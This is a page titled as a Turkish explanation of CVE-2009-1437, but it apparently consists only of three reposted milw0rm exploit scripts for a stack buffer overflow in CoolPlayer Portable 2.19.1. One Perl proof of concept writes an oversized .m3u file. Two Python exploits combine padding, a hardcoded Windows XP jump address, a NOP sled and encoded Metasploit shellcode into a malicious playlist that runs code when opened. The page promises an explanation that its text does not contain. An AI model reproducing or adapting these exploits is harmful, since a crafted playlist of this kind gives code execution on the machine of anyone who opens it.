CVE-2009-1437 Nedir ? Türkçe Anlatım

                # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ##  ##
# #  CoolPlayerp Portable 2.19.1 (.M3U File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ### ## ## ## ##
my $chars= "A" x 4104;
my $file="goldm.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-20]

                # CoolPlayer Portable 2.19.1 (m3u) Buffer Overflow exploit
# Credit To Gold_m http://www.milw0rm.com/exploits/8489
# I test it 12 times but the 13 is worked but i dont know maybe it work in first time for you
# By Stack
chars = "\x41" * 212
eip = "\xED\x1E\x94\x7C" # ntdll.dll jmp esp SP 2 FR / EN
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x48\x4e\x37"
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x38"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x38\x42\x54\x42\x43\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x33\x4f\x55\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x36\x43\x56\x50\x52\x45\x36\x4a\x37\x45\x46\x42\x50\x5a")
poc = (chars+eip+"\x90"*10+shellcode)
file = open('xpl.m3u','w+')
file.write(poc)
file.close()

# milw0rm.com [2009-04-22]

                #!/usr/bin/python
#[*] Usage   : coolplayer.py
#[*] Bug     : CoolPlayer Portable(m3u) Buffer Overflow exploit
#[*] Founder : Gold_m
#[*] First exploiter : stack "he is my friend :)"
#[*] Tested on :    Xp sp2 (fr)
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com

#[*] Note: I didn't know why the stack's exploit won't work for me but i founded that the junk data wasn't right in my case.
#[*] and we have to expand the nops to pass the null byte.
#[*] it worked for me from the beginning.

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x79"
"\xe4\x94\xba\x83\xeb\xfc\xe2\xf4\x85\x0c\xd0\xba\x79\xe4\x1f\xff"
"\x45\x6f\xe8\xbf\x01\xe5\x7b\x31\x36\xfc\x1f\xe5\x59\xe5\x7f\xf3"
"\xf2\xd0\x1f\xbb\x97\xd5\x54\x23\xd5\x60\x54\xce\x7e\x25\x5e\xb7"
"\x78\x26\x7f\x4e\x42\xb0\xb0\xbe\x0c\x01\x1f\xe5\x5d\xe5\x7f\xdc"
"\xf2\xe8\xdf\x31\x26\xf8\x95\x51\xf2\xf8\x1f\xbb\x92\x6d\xc8\x9e"
"\x7d\x27\xa5\x7a\x1d\x6f\xd4\x8a\xfc\x24\xec\xb6\xf2\xa4\x98\x31"
"\x09\xf8\x39\x31\x11\xec\x7f\xb3\xf2\x64\x24\xba\x79\xe4\x1f\xd2"
"\x45\xbb\xa5\x4c\x19\xb2\x1d\x42\xfa\x24\xef\xea\x11\x14\x1e\xbe"
"\x26\x8c\x0c\x44\xf3\xea\xc3\x45\x9e\x87\xf5\xd6\x1a\xe4\x94\xba")

exploit = "\x41"*220 + "\x5D\x38\x82\x7C" + "\x90"*122 + shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!\n"
except:
    print "Error"

# milw0rm.com [2009-04-22]